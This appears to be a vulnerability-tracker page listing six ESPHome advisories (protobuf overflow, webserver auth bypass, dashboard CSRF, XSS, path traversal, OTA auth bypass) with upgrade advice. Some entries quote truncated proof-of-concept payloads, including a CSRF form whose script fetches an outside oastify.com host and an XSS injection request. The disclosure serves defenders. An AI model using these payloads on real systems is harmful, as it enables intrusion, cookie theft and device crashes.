Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
6 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
An integer overflow in the API component's protobuf decoder allows denial-of-service attacks when API encryption is not used. Details The bounds check ptr + fieldlength end in components/api/proto.cpp can overflow when a malicious client sends a large fieldlength value. This affects all ESPHome device platforms (ESP32, ESP8266, RP2040, LibreTiny). The overflow bypasses the out-of-bounds check, causing the device to read invalid memory and crash. When using the plaintext API protocol, this attack can be performed without authentication. When noise encryption is enabled, knowledge of the encryption key is required. Affected Versions ESPHome 2025.9.0 through 2025.12.6 Mitigation - Upgrade to ESPHome 2025.12.7 or later (or 2026.1.0b3 or later) - Enable API encryption with a unique key per device - Follow the Security Best Practices Severity Low - Users following Security Best Practices with API encryption enabled are not affected without knowledge of the encryption key. Impact…
Recommended action: Upgrade to 2025.12.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
On the ESP-IDF platform, ESPHome's webserver authentication check can pass incorrectly when the client-supplied base64-encoded Authorization value is empty or is a substring of the correct value (e.g., correct username with partial password). This allows access to webserver functionality (including OTA, if enabled) without knowing any information about the correct username or password. Details The HTTP basic auth check in webserveridf's AsyncWebServerRequest::authenticate only compares up to auth.value().size() - authprefixlen bytes of the base64-encoded user:pass string. This means a client-provided valuer like dXNlcjpz (user:s) will pass the check when the correct value is much longer, e.g., dXNlcjpzb21lcmVhbGx5bG9uZ3Bhc3M= (user:somereallylongpass). Furthermore, the check will also pass when the supplied value is the empty string, which removes the need to know (or brute force) the username. A browser won't generally issue such a request, but it can easily be done by…
Recommended action: Upgrade to 2025.8.1 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. PoC An example of malicious web page that abuses this vulnerability: <html <body <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)" <input type="hidden" name="<script> fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x"…
Recommended action: Upgrade to 2024.3.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS). Credits Spike Reply Cybersecurity Teams Details It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write. To trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file]. PoC To reproduce the issue, it is possible to perform a POST request to inject the payload: request: POST /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: / Accept-Language: en-US,en;q=0.5…
Recommended action: Upgrade to 2024.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Security misconfiguration in edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation) allows authenticated remote attackers to read and write arbitrary files under the configuration directory rendering remote code execution possible. Details It is possible to abuse this path traversal vulnerability both in command line installation and Home Assistant add-on, but it is possible to read and write files only under the configuration directory. The vulnerability is present and exploitable in the command line installation, but it was not possible to confirm an impact in the home assistant add-on version. PoC <img width="482" alt="/edit?configuration=/config/.esphome/esphome.json" src="https://github.com/esphome/esphome/assets/115887876/d2da3180-976e-4bed-b4b9-35ac960a7fb4" <br/ <img width="344" alt="/edit?configuration=/config/.esphome/build/test01/src/main.cpp (firmware for board named test01)"…
Recommended action: Upgrade to 2024.2.1 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Impact Anyone with webserver enabled and HTTP basic auth configured on 2021.9.1 or older webserver allows OTA update without checking user defined basic auth username & password Patches Patch released in 2021.9.2 Workarounds Disable/remove webserver
Recommended action: Upgrade to 2021.9.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.